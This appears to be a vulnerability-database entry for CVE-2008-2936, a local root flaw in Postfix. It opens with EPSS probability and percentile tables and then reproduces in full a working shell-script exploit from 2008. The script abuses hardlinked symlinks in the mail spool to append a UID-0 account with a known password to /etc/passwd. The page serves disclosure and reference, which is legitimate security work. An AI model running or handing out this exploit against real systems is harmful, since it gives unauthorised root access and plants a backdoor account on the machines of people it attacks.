CVE-2008-2936 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-02-05	–	–	5.79%	–	–
2023-02-19	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2023-05-14	–	–	–	0.05%	–
2023-07-30	–	–	–	0.06%	–
2023-10-08	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-04-21	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-08-11	–	–	–	0.05%	–
2024-12-08	–	–	–	0.05%	–
2024-12-15	–	–	–	0.06%	–
2024-12-22	–	–	–	0.12%	–
2025-01-19	–	–	–	0.12%	–
2025-01-19	–	–	–	0.12%	–
2025-03-18	–	–	–	–	0.26%
2025-03-30	–	–	–	–	0.23%
2025-04-15	–	–	–	–	0.23%
2025-04-25	–	–	–	–	0.23%
2025-04-26	–	–	–	–	0.23%
2025-04-26	–	–	–	–	0.23,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-02-05	9%
2023-02-19	84%
2023-03-12	–
2023-05-14	15%
2023-07-30	22%
2023-10-08	15%
2024-03-31	16%
2024-04-21	16%
2024-06-02	18%
2024-08-11	19%
2024-12-08	2%
2024-12-15	27%
2024-12-22	47%
2025-01-19	48%
2025-01-19	48%
2025-03-18	48%
2025-03-30	43%
2025-04-15	45%
2025-04-25	46%
2025-04-26	45%
2025-04-26	45%

#!/bin/sh # # "rs_pocfix.sh" (PoC for Postfix local root vulnerability: CVE-2008-2936) # by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt <roman@rs-labs.com> # # Tested: Ubuntu / Debian # # [ Madrid, 30.Aug.2008 ] # # Config writable_dir=/tmp spool_dir=/var/mail # Use "postconf mail_spool_directory" to obtain this user=root target=/etc/passwd useful_link=/usr/bin/atq # lrwxrwxrwx 2 root root 2 2007-05-04 22:15 /usr/bin/atq -> at useful_link_dst=at # Tip: find / -type l -uid 0 -print -exec ls -l {} \; | less seconds=3 user_in_passwd="dsr:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh" # Pass is "dsrrocks" postfix=`which postfix` # /usr/sbin/postfix postconf=/usr/sbin/postconf postmap=/usr/sbin/postmap # Funcs quit() { echo "$1" exit } # Step 1: is my system vulnerable? head -n 9 $0 | tail -n 8 if [ $postfix ] ; then echo "[*] Postfix seems to be installed" else quit "[!] Are you sure Postfix is installed?" fi mkdir -p $writable_dir/pocfix touch $writable_dir/pocfix/src ln -s $writable_dir/pocfix/src $writable_dir/pocfix/dst1 ln $writable_dir/pocfix/dst1 $writable_dir/pocfix/dst2 if [ -L $writable_dir/pocfix/dst2 ] ; then echo "[*] Hardlink to symlink not dereferenced" rm -rf $writable_dir/pocfix else rm -rf $writable_dir/pocfix quit "[!] Hardlink to symlink correctly dereferenced. System is not vulnerable" fi if [ -d $spool_dir -a -w $spool_dir ] ; then echo "[*] Spool dir is writable" else quit "[!] Spool dir is not writable" fi if [ -e $spool_dir/$user ] ; then rm -f $spool_dir/$user echo "[*] Mailbox for \"$user\" found. Trying to delete it" if [ -e $spool_dir/$user ] ; then quit "[!] Couldn't delete it" else echo "[*] Deletion ok" fi fi if [ -e $spool_dir/$useful_link_dst ] ; then rm -f $spool_dir/$useful_link_dst echo "[*] Mailbox for \"$useful_link_dst\" found. Trying to delete it" if [ -e $spool_dir/$useful_link_dst ] ; then quit "[!] Couldn't delete it" else echo "[*] Deletion ok" fi fi aliases=`$postconf alias_database | cut -d"=" -f2` $postconf alias_maps | grep -q $aliases if [ $? -eq 0 ] ; then if [ $aliases ] ; then $postmap -q $user $aliases > /dev/null if [ $? -eq 0 ] ; then quit "[!] Mail alias for \"$user\" exists" fi fi fi lda=`$postconf mailbox_command | cut -d"=" -f2` if [ $lda ] ; then quit "[!] Non-Postfix LDA detected" fi $postconf home_mailbox | grep -q '/$' if [ $? -eq 0 ] ; then quit "[!] Maildir-style mailbox detected" fi # Step 2: Exploiting ln -f $useful_link $spool_dir/$user 2> /dev/null || quit "[!] Couldn't create hardlink (different partitions?)" ln -s -f $target $spool_dir/$useful_link_dst 2> /dev/null || quit "[!] Couldn't create symlink pointing to target file" cp -f $target $writable_dir/pocfix_target_backup.$$ && echo "[*] Backed up: $target (saved as \"$writable_dir/pocfix_target_backup.$$\")" echo "[*] Sending mail ($seconds seconds wait)" echo $user_in_passwd | /usr/sbin/sendmail $user sleep $seconds diff -q $target $writable_dir/pocfix_target_backup.$$ > /dev/null if [ $? -eq 0 ] ; then echo "[!] Exploit failed" else echo "[*] Exploit successful (appended data to $target). Now \"su dsr\", pass is \"dsrrocks\")" fi rm -f $spool_dir/$user rm -f $spool_dir/$useful_link_dst # milw0rm.com [2008-08-31]